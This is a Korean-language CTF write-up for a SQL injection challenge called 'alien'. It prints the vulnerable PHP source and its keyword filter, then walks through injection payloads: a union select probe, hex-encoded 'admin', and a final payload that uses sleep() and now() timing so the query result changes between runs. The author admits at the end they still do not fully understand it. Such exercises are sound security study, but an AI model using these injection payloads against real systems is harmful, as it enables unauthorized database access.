<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/admin|and|or|if|coalesce|case|_|\.|prob|time/i', $_GET['no'])) exit("No Hack ~_~");
$query = "select id from prob_alien where no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$query2 = "select id from prob_alien where no='{$_GET[no]}'";
echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
if($_GET['no']){
$r = mysqli_fetch_array(mysqli_query($db,$query));
if($r['id'] !== "admin") exit("sandbox1");
$r = mysqli_fetch_array(mysqli_query($db,$query));
if($r['id'] === "admin") exit("sandbox2");
$r = mysqli_fetch_array(mysqli_query($db,$query2));
if($r['id'] === "admin") exit("sandbox");
$r = mysqli_fetch_array(mysqli_query($db,$query2));
if($r['id'] === "admin") solve("alien");
}
highlight_file(__FILE__);
?>
1.
if(preg_match('/admin|and|or|if|coalesce|case|_|\.|prob|time/i', $_GET['no'])) exit("No Hack ~_~");
$query = "select id from prob_alien where no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$query2 = "select id from prob_alien where no='{$_GET[no]}'";
🔹 $_GET[no]
파라미터 필터링
❌ admin
, and
, or
, if
, coalesce
, case
, _
, .
, prob
, time
, /i (대소문자를 구분하지 않음)
💙 coalesce
주어진 파라미터에 NULL
이 아닌 첫 값을 리턴
첫번째 쿼리와 두번째 쿼리의 차이점은 작은 따옴표(')
처리이다.
'
가 없다.'
가 있다. 2.
if($_GET['no']){
$r = mysqli_fetch_array(mysqli_query($db,$query));
if($r['id'] !== "admin") exit("sandbox1");
$r = mysqli_fetch_array(mysqli_query($db,$query));
if($r['id'] === "admin") exit("sandbox2");
$r = mysqli_fetch_array(mysqli_query($db,$query2));
if($r['id'] === "admin") exit("sandbox");
$r = mysqli_fetch_array(mysqli_query($db,$query2));
if($r['id'] === "admin") solve("alien");
}
$query
($_GET[pw]
)
id가 admin이 아니면 exit
id가 admin이면 exit
$query2
('$_GET[pw]'
)
id와 admin이면 exit
id와 admin이면 성공적으로 출력 (왓더헬, 뭔말이야❓❓)
no=' union select 1 -- 'union select '1
union select
을 통해 어떻게 출력되는지 확인해보았다.
일단 정상적으로 출력되었으니, admin
을 Hex
로 변환하여 입력해보자.
no=' union select '0x61646d696e'%23
흠.. 일단 if문
을 보면 admin O > admin X > admin X > admin O
가 순차적으로 되야 출력이 가능하다고 하니까 admin값을 중간에 바뀔 수 있게 설정해줄 수 있는 now()
함수와 sleep()
함수를 사용해보자.
예를 들어 admin > bdmin > bdmin > admin
으로 중간 값을 바꿀 수 있게 시간 설정을 해준다.
now()
현재시간을 반환
sleep()
시간을 경과시킴
no=' union select concat(char(97%2b(!sleep(1)%26%26now()%2=1)), 0x646d696e)-- ' union select concat(char(96%2b(!sleep(1)%26%26now()%2=1)), 0x646d696e)--%20
concat()
여러 텍스트 또는 범위의 데이터를 하나로 합쳐줌
!
= not
char(97)
= a
char(96)
= `
%2b
= +
%26%26
= &&
0x646d696e
= dmin
%23
= #
아직도 잘 모르겠다..어려워..